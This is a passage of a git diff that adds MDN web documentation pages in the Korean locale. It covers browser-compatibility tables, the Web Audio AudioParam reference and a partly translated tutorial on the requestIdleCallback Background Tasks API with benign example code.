+    <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+    <td>{{CompatGeckoDesktop(25.0)}}</td>
+    <td>{{CompatNo}}</td>
+    <td>15.0{{property_prefix("webkit")}}<br>
+     22 (unprefixed)</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+   <tr>
+    <td><code>channelCount</code> <code>channelCountMode</code></td>
+    <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+   <tr>
+    <td><code>connect</code><code>(AudioParam)</code></td>
+    <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>Firefox OS (Gecko)</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatUnknown}}</td>
+    <td>25.0</td>
+    <td>1.2</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+   <tr>
+    <td><code>channelCount</code><br>
+     <code>channelCountMode</code></td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+   <tr>
+    <td><code>connect</code><code>(AudioParam)</code></td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ko/web/api/audioparam/index.html b/files/ko/web/api/audioparam/index.html
new file mode 100644
index 0000000000..009a3b7552
--- /dev/null
+++ b/files/ko/web/api/audioparam/index.html
@@ -0,0 +1,114 @@
+---
+title: AudioParam
+slug: Web/API/AudioParam
+tags:
+  - API
+  - Audio
+  - AudioParam
+  - Interface
+  - Reference
+  - Web Audio API
+translation_of: Web/API/AudioParam
+---
+<div>{{APIRef("Web Audio API")}}</div>
+
+<p><span class="seoSummary">The Web Audio API's <code>AudioParam</code> interface represents an audio-related parameter, usually a parameter of an {{domxref("AudioNode")}} (such as {{ domxref("GainNode.gain") }}).</span> An <code>AudioParam</code> can be set to a specific value or a change in value, and can be scheduled to happen at a specific time and following a specific pattern.</p>
+
+<p>There are two kinds of <code>AudioParam</code>, <em>a-rate</em> and <em>k-rate</em> parameters:</p>
+
+<ul>
+ <li id="a-rate">An <em>a-rate</em> <code>AudioParam</code> takes the current audio parameter value for each <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Audio_buffers.3A_frames.2C_samples_and_channels">sample frame</a> of the audio signal.</li>
+ <li id="k-rate">A <em>k-rate</em> <code>AudioParam</code> uses the same initial audio parameter value for the whole block processed, that is 128 sample frames.</li>
+</ul>
+
+<p>Each {{domxref("AudioNode")}} defines which of its parameters are <em>a-rate</em> or <em>k-rate</em> in the spec.</p>
+
+<p>Each <code>AudioParam</code> has a list of events, initially empty, that define when and how values change. When this list is not empty, changes using the <code>AudioParam.value</code> attributes are ignored. This list of events allows us to schedule changes that have to happen at very precise times, using arbitrary timelime-based automation curves. The time used is the one defined in {{domxref("AudioContext.currentTime")}}.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><code>AudioParam</code><em> Inherits properties from its parent, </em><code>AudioNode</code>.</p>
+
+<dl>
+ <dt>{{domxref("AudioParam.defaultValue")}} {{readonlyInline}}</dt>
+ <dd>Represents the initial volume of the attribute as defined by the specific {{domxref("AudioNode")}} creating the <code>AudioParam</code>.</dd>
+ <dt>{{domxref("AudioParam.maxValue")}} {{readonlyInline}}</dt>
+ <dd>Represents the maximum possible value for the parameter's nominal (effective) range. </dd>
+ <dt>{{domxref("AudioParam.minValue")}} {{readonlyinline}}</dt>
+ <dd>Represents the minimum possible value for the parameter's nominal (effective) range. </dd>
+ <dt>{{domxref("AudioParam.value")}}</dt>
+ <dd>Represents the parameter's current volume as a floating point value; initially set to the value of <code>AudioParam.defaultValue</code>. Though it can be set, any modifications happening while there are automation events scheduled — that is events scheduled using the methods of the <code>AudioParam</code> — are ignored, without raising any exception.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p>AudioParam<em> Inherits methods from its parent, </em><code>AudioNode</code>.</p>
+
+<dl>
+ <dt>{{domxref("AudioParam.setValueAtTime()")}}</dt>
+ <dd>Schedules an instant change to the value of the <code>AudioParam</code> at a precise time, as measured against {{domxref("AudioContext.currentTime")}}. The new value is given by the <code>value</code> parameter.</dd>
+ <dt>{{domxref("AudioParam.linearRampToValueAtTime()")}}</dt>
+ <dd>Schedules a gradual linear change in the value of the <code>AudioParam</code>. The change starts at the time specified for the <em>previous</em> event, follows a linear ramp to the new value given in the <code>value</code> parameter, and reaches the new value at the time given in the <code>endTime</code> parameter.</dd>
+ <dt>{{domxref("AudioParam.exponentialRampToValueAtTime()")}}</dt>
+ <dd>Schedules a gradual exponential change in the value of the <code>AudioParam</code>. The change starts at the time specified for the <em>previous</em> event, follows an exponential ramp to the new value given in the <code>value</code> parameter, and reaches the new value at the time given in the <code>endTime</code> parameter.</dd>
+ <dt>{{domxref("AudioParam.setTargetAtTime()")}}</dt>
+ <dd>Schedules the start of a change to the value of the <code>AudioParam</code>. The change starts at the time specified in <code>startTime</code> and exponentially moves towards the value given by the <code>target</code> parameter. The exponential decay rate is defined by the <code>timeConstant</code> parameter, which is a time measured in seconds.</dd>
+ <dt>{{domxref("AudioParam.setValueCurveAtTime()")}}</dt>
+ <dd>Schedules the values of the <code>AudioParam</code> to follow a set of values, defined by an array of floating-point numbers scaled to fit into the given interval, starting at a given start time and spanning a given duration of time.</dd>
+ <dt>{{domxref("AudioParam.cancelScheduledValues()")}}</dt>
+ <dd>Cancels all scheduled future changes to the <code>AudioParam</code>.</dd>
+ <dt>{{domxref("AudioParam.cancelAndHoldAtTime()")}}</dt>
+ <dd>Cancels all scheduled future changes to the <code>AudioParam</code> but holds its value at a given time until further changes are made using other methods.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>First, a basic example showing a {{domxref("GainNode")}} having its <code>gain</code> value set. <code>gain</code> is an example of an a-rate AudioParam, as the value can potentially be set differently for each sample frame of the audio.</p>
+
+<pre class="brush: js;highlight[5]">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var gainNode = audioCtx.createGain();
+gainNode.gain.value = 0;</pre>
+
+<p>Next, an example showing a {{ domxref("BiquadFilterNode") }} having some values set. These are examples of k-rate AudioParam's, as the values are set for the entire audio block at once.</p>
+
+<pre class="brush: js;highlight[6,7,8]">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var biquadFilter = audioCtx.createBiquadFilter();
+
+biquadFilter.type = "lowshelf";
+biquadFilter.frequency.value = 1000;
+biquadFilter.gain.value = 25;</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#AudioParam', 'AudioParam')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.AudioParam")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ko/web/api/background_tasks_api/index.html b/files/ko/web/api/background_tasks_api/index.html
new file mode 100644
index 0000000000..ac982d3e55
--- /dev/null
+++ b/files/ko/web/api/background_tasks_api/index.html
@@ -0,0 +1,511 @@
+---
+title: Cooperative Scheduling of Background Tasks API
+slug: Web/API/Background_Tasks_API
+translation_of: Web/API/Background_Tasks_API
+---
+<div>{{DefaultAPISidebar("Background Tasks")}}{{draft}}</div>
+
+<p><strong>Cooperative Scheduling of Background Tasks API</strong> (Background Tasks API 또는 간단하게 <code>requestIdleCallback()</code> API 라고도 부릅니다.) 는 user agnet가 자유 시간이 있다고 판단되면, 자동으로 실행될 작업을 대기열(queue tasks)에 넣을 수 있는 기능을 제공합니다.</p>
+
+<h2 id="Concepts_and_usage">Concepts and usage</h2>
+
+<p>웹 브라우저의 메인 스레드는 이벤트 루프를 중심으로 배치됩니다. 이 코드는 현재 표시중인 {{domxref("Document")}}에 대한 모든 대기중인 업데이트를 가져오고, 페이지에서 실행해야하는 모든 자바스크립트 코드를 실행하고, 입력 장치에서 이벤트를 받아들이고, 이를 받을 요소(엘리먼트)에 해당 이벤트를 전달(dispatch) 합니다. 또한 이벤트 루프는 운영 체제와의 상호작용, 브라우저 자체 유저 인터페이스에 대한 업데이트 등을 처리합니다. 이것은 매우 복잡한 코드 덩어리이며, 메인 자바스크립트 코드는 이 모든 스레드와 코드가 함께 바로 실행될 수 있습니다. 유저 인터페이스 변경이 메인 스레드에서만 가능하기 때문에, 대부분의 코드가 DOM을 변경할 수 있는 것은 아니지만 메인 스레드에서 실행되고 있습니다.</p>
+
+<p>이벤트 처리 및 화면 업데이트는 유저가 성능 문제를 인식하는 가장 분명한 두 가지 부분입니다. 따라서 우리의 코드가 웹의 훌륭한 시민이되고, 이벤트 루프의 실행이 지연되는 것을 방지하는것이 중요합니다. 과거에는 최대한 효율적으로 코드를 작성하고, 가능한 많은 작업을 <a href="/ko/docs/Web/API/Web_Workers_API">웹 워커(workers)</a> 에게 맡기는 것 외에는 안정적으로 수행할 수 있는 방법이 없었습니다. {{domxref("Window.requestIdleCallback()")}}을 사용하면 브라우저의 이벤트 루프가 원활하게 실행되도록 보장하는데 적극적으로 참여할 수 있습니다. 또한 브라우저가 시스템에서 지연없이 안전하게 사용할 수 있는 시간을 코드에 알릴 수 있습니다. 그리고 주어진 한도 내에 있으면 사용자의 경험을 훨씬 향상 시킬 수 있습니다.</p>
+
+<h3 id="Getting_the_most_out_of_idle_callbacks">Getting the most out of idle callbacks</h3>
+
+<p>아이들 콜백(idle callbacks)은 코드를 이벤트 루프와 협력하여 시스템이 과도하게 작업하지 않고, 최대한의 잠재력을 발휘할 수 있도록 하기 위한 것입니다. 지연 또는 기타 성능 문제가 발생하는 경우, 이를 사용하는 방법에 대해 생각해볼 수 있습니다.</p>
+
+<ul>
+ <li><strong>우선순위(priority)가 높지 않은 태스크에 아이들 콜백을 사용합니다.</strong> 얼마나 많은 콜백이 설정되었는지 알지 못하고, 사용자의 시스템이 얼마나 바쁜지 알지 못합니다. 때문에, 콜백이 얼마나 자주 실행되는지 알 수 없습니다(<code>timeout</code>을 지정하지 않으면). 이벤트 루프(또는 모든 화면 업데이트 주기)를 통과할 때 마다 아이들 콜백이 실행된다는 보장이 없습니다. 이벤트 루프가 사용 가능한 모든 시간을 사용하면, 당신은 운이 없습니다(다시한번, 말하지만 <code>timeout</code>을 사용하지 않으면).</li>
+ <li><strong>아이들 콜백은 할당 된 시간을 초과하지 않도록 최선을 다해야 합니다.</strong> 브라우저, 우리의 코드, 웹은 일반적으로 지정된 시간 제한을 초과해도 정상적으로 계속 실행되지만(심지어 시간이 지났더라도), 시간 제한(time restriction)은 시스템을 종료할 시간을 충분히 확보하도록 하기 위한 것입니다. 이벤트 루프를 통해 현재 패스를 끝내고, 다른 코드가 버벅이거나 애니메이션 효과가 지연되지 않도록 다음 이벤트로 넘어갑니다. 현재 {{domxref("IdleDeadline.timeRemaining", "timeRemaining()")}} 에는 50 밀리초의 상한선이 있습니다. 그러나 실제로는 이벤트 루프가 복잡한 사이트에서는 프로세서 시간을 필요로 하는 브라우저 확장 등으로 이미 그 시간을 점유하고 있기 때문에, 실제로 상한선은 더 적습니다.</li>
+ <li><strong>아이들 콜백 내에서 DOM 변경은 피해야 합니다.</strong> 콜백을 실행할 때 까지, 현재 프레임은 이미 드로잉을 마쳤으며 모든 레이아웃 업데이트와 계산이 완료됩니다. 레이아웃에 영향을 주는 변경사항을 적용하면, 브라우저가 중지되어야하고 그러면 다시 계산해야 하는 상황이 발생할 수 있습니다. 만약 콜백이 DOM을 변경해야 한다면, {{domxref("Window.requestAnimationFrame()")}}을 사용하여 DOM을 예약해야 합니다.</li>
+ <li><strong>실행시간을 예측할 수 없는 태스크는 피해야 합니다.</strong> 아이들 콜백은 예측할 수 없는 시간이 걸릴 수 있는 일은 하지 말아야 합니다. 예를들어, 레이아웃에 영향을 줄 수 있는 사항은 피해야 합니다. 또한 {{domxref("Promise")}}를 해결(resolve)하거나, 거절(reject)하는것은 피해야 합니다. 콜백이 반환되는 순간, 해당 promise의 해결 혹은 거절에 대한 처리기를 호출하기 때문입니다.</li>
+ <li><strong>timeout은 필요할 때, 정말 필요할 때만 써야 합니다.</strong> timeout을 사용하면 코드가 적시에 실행되도록 할 수 있습니다. 하지만 성능에 영향을 주지 않으면서 실행할 만한 충분한 시간이 있지 않다면, 브라우저가 사용자를 호출해 지연이나 애니메이션 버벅임을 유발할 수 있습니다.</li>
+</ul>
+
+<h3 id="Falling_back_to_setTimeout">Falling back to setTimeout</h3>
+
+<p>Background Tasks API는 매우 새롭기 때문에, 우리의 코드가 아직 이 API를 지원하지 않는 브라우저에서 작동해야 하는 경우가 있을 수 있습니다. 우리는 {{domxref("WindowTimers.setTimeout()", "setTimeout()")}}을 fallback 옵션으로 사용하는 간단한 shim으로 그렇게 할 수 있습니다. 이것은 기능적으로 동일하지 않기 때문에 {{Glossary("polyfill")}}이 아닙니다. <code>setTimeout()</code>을 사용하면 유휴 기간(idle periods)을 사용할 수 없습니다. 하지만 대신에 가능한 경우 코드를 실행하여, 사용자가 성능 지연을 경험하지 못하도록 최대한 방지합니다.</p>
+
+<pre class="brush: js">window.requestIdleCallback = window.requestIdleCallback || function(handler) {
+  let startTime = Date.now();
+
+  return setTimeout(function() {
+    handler({
+      didTimeout: false,
+      timeRemaining: function() {
+        return Math.max(0, 50.0 - (Date.now() - startTime));
+      }
+    });
+  }, 1);
+}</pre>
+
+<p>{{domxref("Window.requestIdleCallback", "window.requestIdleCallback")}}이 선언되지 않았다면, 위와같이 만들어 줍니다. 함수는 우리의 코드가 호출 된 시간을 기록하는 것으로 시작합니다. 우리는 이것을 사용하여 {{domxref("IdleDeadline.timeRemaining()", "timeRemaining()")}}에 대해 shim에서 반환 한 값을 계산합니다.</p>
+
+<p>그리고 나서 {{domxref("WindowTimers.setTimeout", "setTimeout()")}}을 호출하여, 우리의 <code>requestIdleCallback()</code> 구현에 전달 된 콜백을 실행하는 함수를 전달합니다. 이 콜백은 {{domxref("IdleDeadline")}}을 준수하는 객체로 전달됩니다. 이 객체는 {{domxref("IdleDeadline.didTimeout", "didTimeout")}}을 false로 설정하고, {{domxref("IdleDeadline.timeRemaining", "timeRemaining()")}} 메서드가  전달되어 콜백에 50 밀리초의 시간을 제공합니다. <code>timeRemaining()</code>이 호출될 때 마다 본래의 50밀리초에서 경과시간을 뺀 남은 시간을 결정합니다.</p>
+
+<p>결과적으로, 우리의 shim이 현재 <code>requestIdleCallback()</code>처럼 지금 이벤트 루프에 남아있는 유휴 시간(idle time)의 양을 제한하지는 않습니다. 하지만 콜백을 적어도 패스당 50밀리초 이하의 실행시간으로 제한합니다.</p>
+
+<p>{{domxref("Window.cancelIdleCallback", "cancelIdleCallback()")}}에 대한 shim 구현은 훨씬 간단합니다:</p>
+
+<pre class="brush: js">window.cancelIdleCallback = window.cancelIdleCallback || function(id) {
+  clearTimeout(id);
+}</pre>
+
+<p><code>cancelIdleCallback()</code>이 선언되지 않은 경우, 이는 단순히 지정된 콜백 ID를 {{domxref("WindowTimers.clearTimeout", "clearTimeout()")}}에 전달하는 메서드를 생성합니다.</p>
+
+<p>이제 우리의 코드는 효율적이지는 않지만, Background Tasks API를 지원하지 않는 브라우저에서도 작동합니다.</p>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<p>Background Tasks API 는 단 하나의 새 인터페이스를 추가합니다:</p>
+
+<dl>
+ <dt>{{domxref("IdleDeadline")}}</dt>
+ <dd>이 유형의 객체는 유휴 콜백(idle callback)에 전달되어 유휴 기간(idle period)이 지속되는 예상시간과, timeout 기간이 만료되어 콜백이 실행중인지 여부를 제공합니다.</dd>
+</dl>
+
+<p>{{domxref("Window")}} 인터페이스 또한 {{domxref("window.requestIdleCallback", "requestIdleCallback()")}}, {{domxref("window.cancelIdleCallback", "cancelIdleCallback()")}} 이라는 새로운 두 메서드를 제공하는 API에 의해 확장되었습니다.</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p>이 예제에서는 {{domxref("window.requestIdleCallback", "requestIdleCallback()")}}을 사용하여 브라우저가 유휴 상태인 시간 동안, 시간이 많이 걸리면서 우선 순위가 낮은 작업을 실행하는 방법을 살펴 보겠습니다. 또한 이 예제는 {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}}을 사용하여 문서 내용에 대한 업데이트를 예약하는 방법을 보여줍니다.</p>
+
+<p>아래 예제에서는 HTML과 자바스크립트만 볼 수 있습니다. CSS는 이 기능을 이해하는데 특별히 중요하지 않아서, 표시하지 않습니다.</p>
+
+<h3 id="HTML_content">HTML content</h3>
+
+<p>우리가 성취하려는 것을 지향하기 위해 HTML을 살펴보겠습니다. 이것은 텍스트 출력을 표시하는데 사용되는 두 번째 메인 박스(ID "logBox")뿐만 아니라, 작업 진행 상황을 나타내는데 사용되는 박스(ID "Container")를 만듭니다. 이는 quantum filament tachyon emissions의 해독이 얼마나 걸릴지 알 수 없기 때문입니다.</p>
+
+<pre class="brush: html">&lt;p&gt;
+  Demonstration of using &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Background_Tasks_API"&gt;
+  cooperatively scheduled background tasks&lt;/a&gt; using the &lt;code&gt;requestIdleCallback()&lt;/code&gt;
+  method.
+&lt;/p&gt;
+
+&lt;div class="container"&gt;
+  &lt;div class="label"&gt;Decoding quantum filament tachyon emissions...&lt;/div&gt;
+  &lt;progress id="progress" value="0"&gt;&lt;/progress&gt;
+  &lt;div class="button" id="startButton"&gt;
+    Start
+  &lt;/div&gt;
+  &lt;div class="label counter"&gt;
+    Task &lt;span id="currentTaskNumber"&gt;0&lt;/span&gt; of &lt;span id="totalTaskCount"&gt;0&lt;/span&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="logBox"&gt;
+  &lt;div class="logHeader"&gt;
+    Log
+  &lt;/div&gt;
+  &lt;div id="log"&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>progress box는 진행률을 나타내는 {{HTMLElement("progress")}} 요소(엘리먼트)를 사용합니다. 또한 진행률에 대한 정보를 숫자로 표시하며, 얼마나 변경이 되었는지 확인할 수 있는 label을 사용합니다. 또한 사용자가 데이터 처리를 시작하는데 사용하는 "Start" 버튼(ID "startButton")이 있습니다.</p>
+
+<div class="hidden">
+<h3 id="CSS_content">CSS content</h3>
+
+<pre class="brush: css">body {
+  font-family: "Open Sans", "Lucida Grande", "Arial", sans-serif;
+  font-size: 16px;
+}
+
+.logBox {
+  margin-top: 16px;
+  width: 400px;
+  height:500px;
+  border-radius: 6px;
+  border: 1px solid black;
+  box-shadow: 4px 4px 2px black;
+}
+
+.logHeader {
+  margin: 0;
+  padding: 0 6px 4px;
+  height: 22px;
+  background-color: lightblue;
+  border-bottom: 1px solid black;
+  border-radius: 6px 6px 0 0;
+}
+
+#log {
+  font: 12px "Courier", monospace;
+  padding: 6px;
+  overflow: auto;
+  overflow-y: scroll;
+  width: 388px;
+  height: 460px;
+}
+
+.container {
+  width: 400px;
+  padding: 6px;
+  border-radius: 6px;
+  border: 1px solid black;
+  box-shadow: 4px 4px 2px black;
+  display: block;
+  overflow: auto;
+}
+
+.label {
+  display: inline-block;
+}
+
+.counter {
+  text-align: right;
+  padding-top: 4px;
+  float: right;
+}
+
+.button {
+  padding-top: 2px;
+  padding-bottom: 4px;
+  width: 100px;
+  display: inline-block;
+  float: left;
+  border: 1px solid black;
+  cursor: pointer;
+  text-align: center;
+  margin-top: 0;
+  color: white;
+  background-color: darkgreen;
+}
+
+#progress {
+  width: 100%;
+  padding-top: 6px;
+}</pre>
+</div>
+
+<h3 id="JavaScript_content">JavaScript content</h3>
+
+<p>이제 문서 구조가 정의되었으므로, 작업을 수행할 자바스크립트 코드를 작성하겠습니다.<br>
+ 목표: 시스템이 유휴 상태일 때 마다 해당 기능을 실행하는 유휴 콜백과 함께, 함수를 호출하기 위한 요청을 큐에 추가할 수 있습니다.</p>
+
+<h4 id="Variable_declarations">Variable declarations</h4>
+
+<pre class="brush: js">let taskList = [];
+let totalTaskCount = 0;
+let currentTaskNumber = 0;
+let taskHandle = null;
+</pre>
+
+<p>이 변수들은 처리 대기중인 태스크 리스트(task list)와, 태스크 큐(task queue) 및 실행에 대한 상태 정보를 관리하는데 사용합니다:</p>
+
+<ul>
+ <li><code>taskList</code> 는 객체의 배열({{jsxref("Array")}})로, 각각은 실행 대기중인 하나의 태스크(task)를 나타냅니다.</li>
+ <li><code>totalTaskCount</code> 는 큐에 추가된 태스크 수를 셉니다. 올라갈 수는 있지만, 결코 내려가지 않습니다. 우리는 이 값을 토대로 작업의 진행률을 표시하는 수학 계산에 사용합니다. </li>
+ <li><code>currentTaskNumber</code> 는 지금까지 처리한 태스크 수를 추적하는데 사용합니다.</li>
+ <li><code>taskHandle</code> 은 지금 처리중인 태스크에 대한 참조입니다.</li>
+</ul>
+
+<pre class="brush: js">let totalTaskCountElem = document.getElementById("totalTaskCount");
+let currentTaskNumberElem = document.getElementById("currentTaskNumber");
+let progressBarElem = document.getElementById("progress");
+let startButtonElem = document.getElementById("startButton");
+let logElem = document.getElementById("log");
+</pre>
+
+<p>다음으로 우리는 상호작용할 필요가 있는 DOM 요소를 참조하는 변수를 선언합니다. 이 요소들은 다음과 같습니다:</p>
+
+<ul>
+ <li><code>totalTaskCountElem</code> 은 생성한 총 태스크 수를 progress box에 삽입하여 상태를 표시하는데 사용할 {{HTMLElement("span")}} 입니다.</li>
+ <li><code>currentTaskNumberElem</code> 은 지금까지 처리한 태스크 수를 표시하는데 사용되는 요소입니다.</li>
+ <li><code>progressBarElem</code> 은 지금까지 처리한 태스크의 백분율을 보여주는 {{HTMLElement("progress")}} 요소입니다.</li>
+ <li><code>startButtonElem</code> 은 시작 버튼 입니다.</li>
+ <li><code>logElem</code> 은 텍스트 메시지를 로그로 기록할 {{HTMLElement("div")}} 입니다.</li>
+</ul>
+
+<pre class="brush: js">let logFragment = null;
+let statusRefreshScheduled = false;
+</pre>
+
+<p>마지막으로 다른 항목에 대한 몇 가지 변수를 설정합니다:</p>
+
+<ul>
+ <li><code>logFragment</code> 는 우리의 로깅 함수에 의해 생성된 {{domxref("DocumentFragment")}} 를 저장하는데 사용됩니다. 다음 애니메이션 프레임이 렌더링 될 때 로그에 추가할 내용을 만듭니다.</li>
+ <li><code>statusRefreshScheduled</code> 는 앞으로의 프레임에 대한 상태 표시 박스의 업데이트를 이미 예약했는지 여부를 추적하는데 사용됩니다. 그렇기 때문에 프레임당 한 번만 수행합니다.</li>
+</ul>
+
+<div class="hidden">
+<p>The shim to function even if idle callbacks aren't supported. Already discussed above, so it's hidden here to save space in the article.</p>
+
+<pre class="brush: js">window.requestIdleCallback = window.requestIdleCallback || function(handler) {
+  let startTime = Date.now();
+
+  return setTimeout(function() {
+    handler({
+      didTimeout: false,
+      timeRemaining: function() {
+        return Math.max(0, 50.0 - (Date.now() - startTime));
+      }
+    });
+  }, 1);
+};
+
+window.cancelIdleCallback = window.cancelIdleCallback || function(id) {
+  clearTimeout(id);
+};
+</pre>
+</div>
+
+<h4 id="Managing_the_task_queue">Managing the task queue</h4>
+
+<p>다음으로 수행해야 할 태스크를 관리하는 방법을 알아보겠습니다. 우리는 아이들 콜백(idle callback) 기간 동안 시간이 허락하는대로, 태스크의 FIFO 큐를 생성함으로써 이를 수행할 것입니다.</p>
+
+<h5 id="Enqueueing_tasks">Enqueueing tasks</h5>
+
+<p>첫째, 향후 실행을 위해 태스크를 큐에 넣는 함수가 필요합니다. 그 함수인 <code>enqueueTask()</code>는 다음과 같습니다: </p>
+
+<pre class="brush: js">function enqueueTask(taskHandler, taskData) {
+  taskList.push({
+    handler: taskHandler,
+    data: taskData
+  });
+
+  totalTaskCount++;
+
+  if (!taskHandle) {
+    taskHandle = requestIdleCallback(runTaskQueue, { timeout: 1000 });
+  }
+
+  scheduleStatusRefresh();
+}
+</pre>
+
+<p><code>enqueueTask()</code> 는 입력으로 두 개의 매개변수(parameter)를 허용합니다:</p>
+
+<ul>
+ <li><code>taskHandler</code> 는 태스크를 처리하기 위해 호출 될 함수입니다.</li>
+ <li><code>taskData</code> 는 태스크 핸들러에 입력 매개 변수로 전달되는 객체이며, 태스크가 사용자 정의 데이터를 수신할 수 있게 합니다.</li>
+</ul>
+
+<p>태스크를 큐에 넣기 위해 객체를 <code>taskList</code> 배열에 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/push">push</a> 합니다. 객체는 각각 <code>handler</code> 와 <code>data</code> 라는 이름 아래에 <code>taskHandler</code> 와 <code>taskData</code> 값을 포함합니다. 그리고나서 대기열에 들어간 작업의 총 수를 반영하는 <code>totalTaskCount</code>를 증가시켜 나갑니다(태스크가 큐에서 제거될 때 우리는 그것을 감소시키지 않습니다).</p>
+
+<p>다음으로 우리는 이미 유휴 콜백(idle callback)이 생성되었는지 확인합니다. 만약 <code>taskHandle</code> 이 0이면 아직 유휴 콜백이 없다는 것을 알기 때문에, {{domxref("Window.requestIdleCallback", "requestIdleCallback()")}}을 호출하여 <code>taskHandle</code> 을 생성합니다. 이 함수는 <code>runTaskQueue()</code>라는 함수를 호출하도록 구성되어 있습니다. 그리고 이 함수는 1초의 <code>timeout</code>을 갖고있기 때문에, 사용 가능한 실제 유휴 시간이 없는 경우에도 초당1회 이상 실행됩니다.</p>
+
+<h5 id="Running_tasks">Running tasks</h5>
+
+<p>유휴 콜백 핸들러인 <code>runTaskQueue()</code> 는 브라우저가 유휴 시간이 충분하다고 판단하거나, 1초의 timeout이 만료될 때 호출됩니다. 이 함수의 일은 대기열에 넣어진 태스크를 실행하는 것입니다.</p>
+
+<pre class="brush: js">function runTaskQueue(deadline) {
+  while ((deadline.timeRemaining() &gt; 0 || deadline.didTimeout) &amp;&amp; taskList.length) {
+    let task = taskList.shift();
+    currentTaskNumber++;
+
+    task.handler(task.data);
+    scheduleStatusRefresh();
+  }
+
+  if (taskList.length) {
+    taskHandle = requestIdleCallback(runTaskQueue, { timeout: 1000} );
+  } else {
+    taskHandle = 0;
+  }
+}
+</pre>
+
+<p><code>runTaskQueue()</code>의 핵심은 계속되는 반복문입니다.  이 반복문은 taskList에 태스크가 있어야하고, 다음 두 조건 중 하나를 만족해야 합니다.<br>
+ {{domxref("deadline.timeRemaining", "IdleDeadline.timeRemaining")}}을 검사하여 결정된 시간이 0 이상이거나 timeout이 한계에 도달하여 {{domxref("IdleDeadline.didTimeout", "deadline.didTimeout")}}이 참 이어야 합니다.</p>
+
+<p>실행 시간이 있는 큐의 각 태스트에 대해 다음 작업을 수행합니다:</p>
+
+<ol>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/shift">큐에서 태스크 객체를 제거합니다.</a></li>
+ <li><code>currentTaskNumber</code> 를 증가시켜서 우리가 실행한 태스크의 수를 추적합니다.</li>
+ <li>태스크를 처리할 때 호출하는 <code>task.handler</code>에 태스크 데이터 객체(<code>task.data</code>)를 전달합니다.</li>
+ <li>우리는 <code>scheduleStatusRefresh()</code>함수를 호출하여 진행 상황의 변화를 반영하도록 화면을 업데이트 합니다.</li>
+</ol>
+
+<p>시간이 다 되었을 때, 여전히 리스트에 태스크가 남아있다면 {{domxref("Window.requestIdleCallback", "requestIdleCallback()")}}을 다시 호출하여, 다음에 유휴 시간이 있을 때 작업을 계속 처리할 수 있게 예약 합니다. 큐가 비어 있으면, taskHandle을 0으로 설정하여 콜백을 예약하지 않았음을 나타냅니다. 그러면 우리는 이제 <code>enqueueTask()</code>가 호출 된 다음에 콜백을 요청하는 방법을 알 수 있습니다.</p>
+
+<h4 id="Updating_the_status_display">Updating the status display</h4>
+
+<p>우리는 로그를 출력하고, 진행 상황을 document에 업데이트 하길 원합니다. 그러나 유휴 콜백 내에서 안전하게 DOM을 변경할 수는 없습니다. 대신 {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}}을 사용하여 브라우저에게 문의하도록 요청하여 안전할 때 디스플레이를 업데이트합니다.</p>
+
+<h5 id="Scheduling_display_updates">Scheduling display updates</h5>
+
